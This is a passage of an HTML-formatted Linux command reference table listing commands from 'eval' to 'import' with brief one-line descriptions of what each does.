<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> eval</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Evaluate several commands/arguments</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> exec</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Execute a command</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> exit</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Exit the shell</td></tr>
<tr style="border: 0px; font-family: inherit; height: 76px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> expect</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 76px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Automate arbitrary applications accessed over a terminal</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> expand</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Convert tabs to spaces</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> export</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Set an environment variable</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> expr</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Evaluate expressions</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">F</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> false</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Do nothing, unsuccessfully</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fdformat</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Low-level format a floppy disk</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fdisk</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Partition table manipulator for Linux</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fg</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Send job to foreground</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fgrep</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search files for lines that match a fixed string</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> file</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Determine file type</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> find</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search for files that meet a desired criteria</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fmt</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Reformat paragraph text</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fold</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Wrap text to fit a specified width</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> for</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Expand words, and execute commands</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> format</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Format disks or tapes</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> free</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display memory usage</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fsck</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> File system consistency check and repair</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ftp</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> File Transfer Protocol</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> function</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Define Function Macros</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> fuser</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Identify/kill the process that is accessing a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">G</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> gawk</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Find and Replace text within files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> getopts</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Parse positional parameters</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> grep</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Search files for lines that match a given pattern</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> groupadd</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Add a user security group</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> groupdel</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Delete a group</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> groupmod</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Modify a group</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> groups</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print group names a user is in</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> gzip</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Compress or decompress named files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">H</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> hash</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Remember the full pathname of a name argument</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> head</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Output the first part of files</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> help</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Display help for a built-in command</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> history</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Command History</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> hostname</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print or set system name</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td colspan="2" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;">I</strong></td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> iconv</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Convert the character set of a file</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> id</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Print user and group id’s</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> if</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Conditionally perform a command</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ifconfig</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Configure a network interface</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ifdown</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Stop a network interface</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> ifup</strong></td><td style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Start a network interface up</td></tr>
<tr style="border: 0px; font-family: inherit; height: 51px; margin: 0px; padding: 0px; vertical-align: baseline;"><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="538"><strong style="border: 0px; font-family: inherit; margin: 0px; padding: 0px; vertical-align: baseline;"> import</strong></td><td style="background: rgb(252, 252, 252); border: 1px solid rgb(225, 225, 225); font-family: inherit; height: 51px; margin: 0px; padding: 4px 7px; vertical-align: baseline;" width="537"> Capture an X server screen and save the image to file</td></tr>
